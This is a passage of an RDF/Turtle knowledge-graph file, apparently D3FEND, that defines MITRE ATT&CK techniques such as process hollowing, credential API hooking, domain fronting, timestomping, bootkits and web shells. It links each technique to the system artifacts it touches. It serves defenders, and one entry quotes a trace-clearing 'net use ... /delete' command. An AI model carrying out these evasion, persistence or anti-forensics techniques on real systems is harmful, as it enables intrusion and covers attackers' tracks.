    d3f:definition "Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process." ;
    rdfs:subClassOf d3f:T1055 .

d3f:T1055.012 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Process Hollowing" ;
    d3f:attack-id "T1055.012" ;
    d3f:definition "Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process." ;
    d3f:modifies d3f:ProcessCodeSegment ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:ProcessCodeSegment ],
        d3f:T1055 .

d3f:T1055.013 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Process Doppelgänging" ;
    d3f:attack-id "T1055.013" ;
    d3f:definition "Adversaries may inject malicious code into process via process doppelgänging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelgänging is a method of executing arbitrary code in the address space of a separate live process." ;
    d3f:invokes d3f:CreateProcess ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:CreateProcess ],
        d3f:T1055 .

d3f:T1056.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "GUI Input Capture" ;
    d3f:accesses d3f:GraphicalUserInterface ;
    d3f:attack-id "T1056.002" ;
    d3f:definition "Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002))." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:GraphicalUserInterface ],
        d3f:T1056 .

d3f:T1056.004 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Credential API Hooking" ;
    d3f:attack-id "T1056.004" ;
    d3f:definition "Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001),  this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:" ;
    d3f:may-modify d3f:ProcessCodeSegment ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:ProcessCodeSegment ],
        d3f:T1056 .

d3f:T1059.001 a owl:Class ;
    rdfs:label "PowerShell" ;
    d3f:attack-id "T1059.001" ;
    d3f:definition "Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the <code>Start-Process</code> cmdlet which can be used to run an executable and the <code>Invoke-Command</code> cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems)." ;
    rdfs:subClassOf d3f:T1059 .

d3f:T1059.002 a owl:Class ;
    rdfs:label "AppleScript" ;
    d3f:attack-id "T1059.002" ;
    d3f:definition "Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely." ;
    rdfs:subClassOf d3f:T1059 .

d3f:T1070.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Clear Command History" ;
    d3f:attack-id "T1070.003" ;
    d3f:definition "In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done." ;
    d3f:modifies d3f:CommandHistoryLog ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:CommandHistoryLog ],
        d3f:T1070 .

d3f:T1070.004 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File Deletion" ;
    d3f:attack-id "T1070.004" ;
    d3f:definition "Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint." ;
    d3f:deletes d3f:File ;
    d3f:may-modify d3f:File ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:File ],
        [ a owl:Restriction ;
            owl:onProperty d3f:deletes ;
            owl:someValuesFrom d3f:File ],
        d3f:T1070 .

d3f:T1070.005 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Network Share Connection Removal" ;
    d3f:attack-id "T1070.005" ;
    d3f:definition "Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the <code>net use \\\\system\\share /delete</code> command. (Citation: Technet Net Use)" ;
    d3f:unmounts d3f:NetworkFileShareResource ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:unmounts ;
            owl:someValuesFrom d3f:NetworkFileShareResource ],
        d3f:T1070 .

d3f:T1070.006 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Timestomp" ;
    d3f:attack-id "T1070.006" ;
    d3f:definition "Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools." ;
    d3f:forges d3f:FileSystemMetadata ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:forges ;
            owl:someValuesFrom d3f:FileSystemMetadata ],
        d3f:T1070 .

d3f:T1072 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Software Deployment Tools" ;
    d3f:adds d3f:File ;
    d3f:attack-id "T1072" ;
    d3f:definition "Adversaries may gain access to and use centralized software suites installed within an enterprise to execute commands and move laterally through the network. Configuration management and software deployment applications may be used in an enterprise network or cloud environment for routine administration purposes. These systems may also be integrated into CI/CD pipelines. Examples of such solutions include: SCCM, HBSS, Altiris, AWS Systems Manager, Microsoft Intune, Azure Arc, and GCP Deployment Manager." ;
    d3f:executes d3f:SoftwareDeploymentTool ;
    d3f:installs d3f:Software ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:adds ;
            owl:someValuesFrom d3f:File ],
        [ a owl:Restriction ;
            owl:onProperty d3f:installs ;
            owl:someValuesFrom d3f:Software ],
        [ a owl:Restriction ;
            owl:onProperty d3f:executes ;
            owl:someValuesFrom d3f:SoftwareDeploymentTool ],
        d3f:ExecutionTechnique,
        d3f:LateralMovementTechnique .

d3f:T1090.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Multi-hop Proxy" ;
    d3f:attack-id "T1090.003" ;
    d3f:definition "Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source." ;
    d3f:produces d3f:OutboundInternetNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:OutboundInternetNetworkTraffic ],
        d3f:T1090 .

d3f:T1090.004 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Domain Fronting" ;
    d3f:attack-id "T1090.004" ;
    d3f:definition "Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored)." ;
    d3f:produces d3f:OutboundInternetEncryptedWebTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:OutboundInternetEncryptedWebTraffic ],
        d3f:T1090 .

d3f:T1095 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Non-Application Layer Protocol" ;
    d3f:attack-id "T1095" ;
    d3f:definition "Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL)." ;
    d3f:produces d3f:OutboundInternetNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:OutboundInternetNetworkTraffic ],
        d3f:CommandAndControlTechnique .

d3f:T1134.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Token Impersonation/Theft" ;
    d3f:attack-id "T1134.001" ;
    d3f:copies d3f:AccessToken ;
    d3f:definition "Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`.(Citation: DuplicateToken function) The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:copies ;
            owl:someValuesFrom d3f:AccessToken ],
        d3f:T1134 .

d3f:T1134.004 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Parent PID Spoofing" ;
    d3f:attack-id "T1134.004" ;
    d3f:definition "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation: Microsoft UAC Nov 2018)" ;
    d3f:invokes d3f:CreateProcess ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:CreateProcess ],
        d3f:T1134 .

d3f:T1134.005 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "SID-History Injection" ;
    d3f:attack-id "T1134.005" ;
    d3f:definition "Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens)." ;
    d3f:modifies d3f:AccessControlConfiguration ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:AccessControlConfiguration ],
        d3f:T1134 .

d3f:T1218.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Compiled HTML File" ;
    d3f:attack-id "T1218.001" ;
    d3f:definition "Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)" ;
    d3f:invokes d3f:CreateFile,
        d3f:CreateProcess ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:CreateFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:CreateProcess ],
        d3f:T1218 .

d3f:T1218.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Control Panel" ;
    d3f:attack-id "T1218.002" ;
    d3f:definition "Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings." ;
    d3f:invokes d3f:CreateProcess ;
    d3f:may-modify d3f:SystemConfigurationDatabaseRecord ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:SystemConfigurationDatabaseRecord ],
        [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:CreateProcess ],
        d3f:T1218 .

d3f:T1218.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "CMSTP" ;
    d3f:attack-id "T1218.003" ;
    d3f:definition "Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections." ;
    d3f:invokes d3f:CreateProcess ;
    d3f:may-produce d3f:NetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:CreateProcess ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-produce ;
            owl:someValuesFrom d3f:NetworkTraffic ],
        d3f:T1218 .

d3f:T1218.004 a owl:Class ;
    rdfs:label "InstallUtil" ;
    d3f:attack-id "T1218.004" ;
    d3f:definition "Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: <code>C:\\Windows\\Microsoft.NET\\Framework\\v<version>\\InstallUtil.exe</code> and <code>C:\\Windows\\Microsoft.NET\\Framework64\\v<version>\\InstallUtil.exe</code>." ;
    rdfs:subClassOf d3f:T1218 .

d3f:T1218.005 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Mshta" ;
    d3f:attack-id "T1218.005" ;
    d3f:definition "Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)" ;
    d3f:interprets d3f:MicrosoftHTMLApplication ;
    d3f:invokes d3f:CreateProcess ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:CreateProcess ],
        [ a owl:Restriction ;
            owl:onProperty d3f:interprets ;
            owl:someValuesFrom d3f:MicrosoftHTMLApplication ],
        d3f:T1218 .

d3f:T1218.009 a owl:Class ;
    rdfs:label "Regsvcs/Regasm" ;
    d3f:attack-id "T1218.009" ;
    d3f:definition "Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)" ;
    rdfs:subClassOf d3f:T1218 .

d3f:T1218.010 a owl:Class ;
    rdfs:label "Regsvr32" ;
    d3f:attack-id "T1218.010" ;
    d3f:definition "Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32)" ;
    rdfs:subClassOf d3f:T1218 .

d3f:T1218.011 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Rundll32" ;
    d3f:attack-id "T1218.011" ;
    d3f:definition "Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>)." ;
    d3f:invokes d3f:CreateProcess ;
    d3f:loads d3f:SharedLibraryFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:CreateProcess ],
        [ a owl:Restriction ;
            owl:onProperty d3f:loads ;
            owl:someValuesFrom d3f:SharedLibraryFile ],
        d3f:T1218 .

d3f:T1417.002 a owl:Class ;
    rdfs:label "GUI Input Capture - ATTACK Mobile" ;
    d3f:attack-id "T1417.002" ;
    d3f:definition "Adversaries may mimic common operating system GUI components to prompt users for sensitive information with a seemingly legitimate prompt. The operating system and installed applications often have legitimate needs to prompt the user for sensitive information such as account credentials, bank account information, or Personally Identifiable Information (PII). Compared to traditional PCs, the constrained display size of mobile devices may impair the ability to provide users with contextual information, making users more susceptible to this technique’s use.(Citation: Felt-PhishingOnMobileDevices)" ;
    rdfs:subClassOf d3f:T1417 ;
    skos:prefLabel "GUI Input Capture" .

d3f:T1418 a owl:Class ;
    rdfs:label "Software Discovery - ATTACK Mobile" ;
    d3f:attack-id "T1418" ;
    d3f:definition "Adversaries may attempt to get a listing of applications that are installed on a device. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1418) during automated discovery to shape follow-on behaviors, including whether or not to fully infect the target and/or attempts specific actions." ;
    rdfs:subClassOf d3f:ATTACKMobileDiscoveryTechnique ;
    skos:prefLabel "Software Discovery" .

d3f:T1421 a owl:Class ;
    rdfs:label "System Network Connections Discovery - ATTACK Mobile" ;
    d3f:attack-id "T1421" ;
    d3f:definition "Adversaries may attempt to get a listing of network connections to or from the compromised device they are currently accessing or from remote systems by querying for information over the network." ;
    rdfs:subClassOf d3f:ATTACKMobileDiscoveryTechnique ;
    skos:prefLabel "System Network Connections Discovery" .

d3f:T1437 a owl:Class ;
    rdfs:label "Application Layer Protocol - ATTACK Mobile" ;
    d3f:attack-id "T1437" ;
    d3f:definition "Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the mobile device, and often the results of those commands, will be embedded within the protocol traffic between the mobile device and server." ;
    rdfs:subClassOf d3f:ATTACKMobileCommandAndControlTechnique ;
    skos:prefLabel "Application Layer Protocol" .

d3f:T1485 a owl:Class ;
    rdfs:label "Data Destruction" ;
    d3f:attack-id "T1485" ;
    d3f:definition "Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as <code>del</code> and <code>rm</code> often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure." ;
    rdfs:subClassOf d3f:ImpactTechnique .

d3f:T1505.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Web Shell" ;
    d3f:adds d3f:WebScriptFile ;
    d3f:attack-id "T1505.003" ;
    d3f:definition "Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to access the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.(Citation: volexity_0day_sophos_FW)" ;
    d3f:modifies d3f:WebServer ;
    d3f:produces d3f:Process ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:Process ],
        [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:WebServer ],
        [ a owl:Restriction ;
            owl:onProperty d3f:adds ;
            owl:someValuesFrom d3f:WebScriptFile ],
        d3f:T1505 .

d3f:T1518 a owl:Class ;
    rdfs:label "Software Discovery" ;
    d3f:attack-id "T1518" ;
    d3f:definition "Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions." ;
    rdfs:subClassOf d3f:DiscoveryTechnique .

d3f:T1518.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Security Software Discovery" ;
    d3f:attack-id "T1518.001" ;
    d3f:definition "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as cloud monitoring agents and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions." ;
    d3f:may-access d3f:FileSystemMetadata,
        d3f:KernelProcessTable,
        d3f:SystemConfigurationDatabaseRecord,
        d3f:SystemFirewallConfiguration ;
    d3f:may-invoke d3f:GetRunningProcesses ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-access ;
            owl:someValuesFrom d3f:FileSystemMetadata ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-access ;
            owl:someValuesFrom d3f:SystemConfigurationDatabaseRecord ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-invoke ;
            owl:someValuesFrom d3f:GetRunningProcesses ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-access ;
            owl:someValuesFrom d3f:KernelProcessTable ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-access ;
            owl:someValuesFrom d3f:SystemFirewallConfiguration ],
        d3f:T1518 .

d3f:T1542.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System Firmware" ;
    d3f:attack-id "T1542.001" ;
    d3f:definition "Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer.(Citation: Wikipedia BIOS)(Citation: Wikipedia UEFI)(Citation: About UEFI)" ;
    d3f:modifies d3f:SystemFirmware ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:SystemFirmware ],
        d3f:T1542 .

d3f:T1542.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Component Firmware" ;
    d3f:attack-id "T1542.002" ;
    d3f:definition "Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking." ;
    d3f:modifies d3f:Firmware ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:Firmware ],
        d3f:T1542 .

d3f:T1542.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Bootkit" ;
    d3f:attack-id "T1542.003" ;
    d3f:definition "Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly." ;
    d3f:may-modify d3f:BootLoader,
        d3f:BootSector,
        d3f:VolumeBootRecord ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:VolumeBootRecord ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:BootLoader ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:BootSector ],
        d3f:T1542 .

d3f:T1543.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Launch Agent" ;
    d3f:attack-id "T1543.001" ;
    d3f:creates d3f:PropertyListFile ;
    d3f:definition "Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>~/Library/LaunchAgents</code>.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the <code>Label</code>, <code>ProgramArguments </code>, and <code>RunAtLoad</code> keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:PropertyListFile ],
        d3f:T1543 .

d3f:T1543.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Systemd Service" ;
    d3f:attack-id "T1543.002" ;
    d3f:definition "Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014) Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible." ;
    d3f:may-create d3f:OperatingSystemConfigurationFile ;
    d3f:may-modify d3f:OperatingSystemConfigurationFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-create ;
            owl:someValuesFrom d3f:OperatingSystemConfigurationFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:OperatingSystemConfigurationFile ],
        d3f:T1543 .

d3f:T1543.004 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Launch Daemon" ;
    d3f:attack-id "T1543.004" ;
    d3f:definition "Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in <code>/System/Library/LaunchDaemons/</code> and <code>/Library/LaunchDaemons/</code>. Required Launch Daemons parameters include a <code>Label</code> to identify the task, <code>Program</code> to provide a path to the executable, and <code>RunAtLoad</code> to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)" ;
    d3f:modifies d3f:PropertyListFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:PropertyListFile ],
        d3f:T1543 .

d3f:T1546.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Change Default File Association" ;
    d3f:attack-id "T1546.001" ;
    d3f:definition "Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened." ;
    d3f:modifies d3f:SystemConfigurationDatabaseRecord ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:SystemConfigurationDatabaseRecord ],
        d3f:T1546 .

d3f:T1546.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Screensaver" ;
    d3f:attack-id "T1546.002" ;
    d3f:creates d3f:ExecutableFile ;
    d3f:definition "Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in <code>C:\\Windows\\System32\\</code>, and <code>C:\\Windows\\sysWOW64\\</code>  on 64-bit Windows systems, along with screensavers included with base Windows installations." ;
    d3f:modifies d3f:SystemConfigurationDatabaseRecord ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:SystemConfigurationDatabaseRecord ],
        [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:ExecutableFile ],
        d3f:T1546 .

d3f:T1546.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows Management Instrumentation Event Subscription" ;
